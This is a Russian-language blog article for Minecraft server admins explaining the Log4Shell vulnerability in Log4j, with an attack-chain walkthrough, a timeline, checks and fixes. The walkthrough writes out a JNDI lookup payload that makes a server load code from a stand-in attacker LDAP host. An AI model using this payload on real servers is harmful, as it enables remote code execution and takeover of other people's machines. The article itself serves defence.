Добро пожаловать на Craft‑Bukkit

Всё о Minecraft серверах: гайды, команды, скачивание сборок и полезные советы для администраторов и игроков.

Log4Shell (CVE-2021-44228): как уязвимость в Java-библиотеке Log4j потрясла весь Minecraft

wergio 25.07.2026 15:04 4
Log4Shell в Minecraft: как уязвимость Log4j позволяла взломать сервер через сообщение в чат.

Введение: 10 баллов по шкале опасности

9 декабря 2021 года мир Minecraft изменился навсегда. Была обнаружена уязвимость CVE-2021-44228, известная как Log4Shell, в библиотеке логирования Apache Log4j 2, которую использовали практически все серверы Minecraft, клиенты, лаунчеры и даже серверы Mojang. Уязвимость получила максимальный рейтинг опасности — 10 из 10 по шкале CVSS. Она позволяла удалённо выполнить произвольный код на сервере, просто отправив специально сформированное сообщение в чат. Никакой аутентификации не требовалось — достаточно было написать сообщение в публичный чат. В этом материале я детально разберу, как работала эта уязвимость, почему она стала возможной, какие последствия имела и как защититься прямо сейчас.

Технический разбор: как работает Log4Shell

Log4j — это библиотека логирования, используемая в тысячах Java-приложений, включая Minecraft. Она записывает в логи всё, что происходит: подключения игроков, сообщения в чат, ошибки, команды. В версиях 2.0-beta9 до 2.14.1 в Log4j была функция «Message Lookup» — подстановка значений в строку логирования.

Синтаксис подстановки: ${тип:значение}. Например:

  • ${java:version} — вставляет версию Java.
  • ${env:USER} — вставляет имя пользователя операционной системы.
  • ${date:YYYY-MM-DD} — вставляет текущую дату.

Одной из поддерживаемых подстановок была JNDI (Java Naming and Directory Interface). JNDI позволяет Java-приложению загружать объекты из удалённых источников по протоколам LDAP, RMI, DNS. Именно эта функция стала роковой.

Цепочка атаки: от сообщения в чат до полного контроля

  1. Шаг 1: Отправка вредоносной строки. Злоумышленник отправляет в чат Minecraft сообщение: ${jndi:ldap://evil-server.com/a}. Это может быть чат, название предмета на табличке, никнейм, текст в книге — всё, что логируется сервером.
  2. Шаг 2: Обработка библиотекой Log4j. Сервер получает сообщение и передаёт его в Log4j для записи в лог. Log4j видит конструкцию ${jndi:ldap://...} и выполняет JNDI-подстановку.
  3. Шаг 3: LDAP-запрос к серверу злоумышленника. Java-машина сервера Minecraft подключается к серверу злоумышленника по протоколу LDAP. Сервер злоумышленника отвечает, возвращая ссылку на вредоносный Java-класс.
  4. Шаг 4: Загрузка и выполнение вредоносного кода. Java-машина загружает вредоносный класс и выполняет его. Код может сделать что угодно: выдать права оператора, украсть файлы, установить майнер криптовалюты, удалить мир, остановить сервер.

Весь процесс занимает доли секунды. Жертва (администратор) может даже не подозревать, что сервер взломан — в чате могло появиться сообщение от игрока, которое тут же было удалено модератором, но Log4j уже обработал его.

Почему это было так опасно именно для Minecraft

  • Minecraft использует Log4j повсеместно. Ванильный сервер, Paper, Spigot, Forge, Fabric, BungeeCord, Velocity — все использовали Log4j.
  • Достаточно публичного чата. Не нужно быть администратором или иметь доступ к консоли. Любой игрок, зашедший на сервер, мог отправить сообщение в общий чат — и сервер взломан.
  • Логируется всё. Не только чат, но и названия предметов, текст на табличках, никнеймы, команды, книги. Злоумышленник мог прислать предмет с вредоносным названием через почту плагина.
  • Клиенты тоже уязвимы. Не только серверы — клиенты Minecraft тоже использовали Log4j. Зайдя на вредоносный сервер, клиент мог быть взломан через сообщение в чат от сервера.

Хронология событий

ДатаСобытие
24 ноября 2021Исследователь безопасности Chen Zhaojun из Alibaba Cloud Security обнаруживает уязвимость и сообщает Apache
9 декабря 2021Уязвимость становится публичной. Начинается массовая эксплуатация
10 декабря 2021Mojang выпускает экстренное обновление клиента Minecraft (1.18.1) с исправлением
10 декабря 2021Paper, Spigot, Forge, Fabric выпускают обновления с исправленной Log4j
11 декабря 2021Обнаружено, что патч 2.15.0 не полностью закрывает уязвимость (CVE-2021-45046)
13 декабря 2021Выпущена версия 2.16.0 с полным отключением JNDI
17 декабря 2021Обнаружена третья уязвимость (CVE-2021-45105) — DoS через рекурсивные подстановки
18 декабря 2021Выпущена версия 2.17.0 — полностью защищённая

Как проверить, уязвим ли ваш сервер сейчас

  1. Проверьте версию Log4j. Найдите файл log4j-core-*.jar в папке libraries сервера. Откройте его как ZIP-архив, найдите файл META-INF/MANIFEST.MF. В строке Implementation-Version указана версия. Если версия ниже 2.17.0 — сервер уязвим.
  2. Проведите тест. Напишите в чат сервера: ${date:YYYY-MM-DD}. Если в логах сервера отобразилась текущая дата вместо строки — Log4j обрабатывает lookups, и сервер потенциально уязвим.
  3. Проверьте плагины. Некоторые плагины встраивают свою копию Log4j. Удалите старые плагины или обновите их.

Как защитить сервер

Метод 1: Обновление (рекомендовано)

  • Используйте Paper/Purpur последней версии (они включают Log4j 2.17.0+).
  • Обновите все плагины до последних версий.
  • Обновите Java до Java 17 или 21 (новые версии имеют дополнительные защиты).

Метод 2: Флаг JVM (если обновление невозможно)

Добавьте в скрипт запуска: -Dlog4j2.formatMsgNoLookups=true

Метод 3: Удаление уязвимого класса

Выполните команду в папке libraries: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Уроки Log4Shell для администраторов

  • Обновляйтесь своевременно. Уязвимость была исправлена в течение 24 часов после публикации. Серверы, которые были взломаны через неделю после анонса, пострадали из-за невнимательности администраторов.
  • Мониторьте CVE. Подпишитесь на рассылки безопасности (NVD, SpigotMC announcements).
  • Минимизируйте поверхность атаки. Отключайте функции, которые не нужны. Если бы Log4j не поддерживал JNDI по умолчанию — уязвимости бы не было.
  • Используйте брандмауэр. Ограничьте исходящие соединения с сервера Minecraft — он не должен подключаться к произвольным LDAP-серверам в интернете.

💡 Совет профи

Log4Shell — не единственная уязвимость в Log4j. После неё были обнаружены CVE-2021-45046, CVE-2021-45105, CVE-2021-44832. Все они исправлены в Log4j 2.17.0+. Но многие серверы и плагины до сих пор используют старые версии. Проверьте ВСЕ JAR-файлы в папке libraries и plugins — не только серверные, но и библиотеки, которые тащат плагины. Один плагин со старой Log4j внутри делает уязвимым весь сервер.
← К списку статей

💬 Комментарии (0)

⏳ Все комментарии проходят модерацию

🔒 Войдите, чтобы оставить комментарий

😊 Пока нет комментариев. Будьте первым!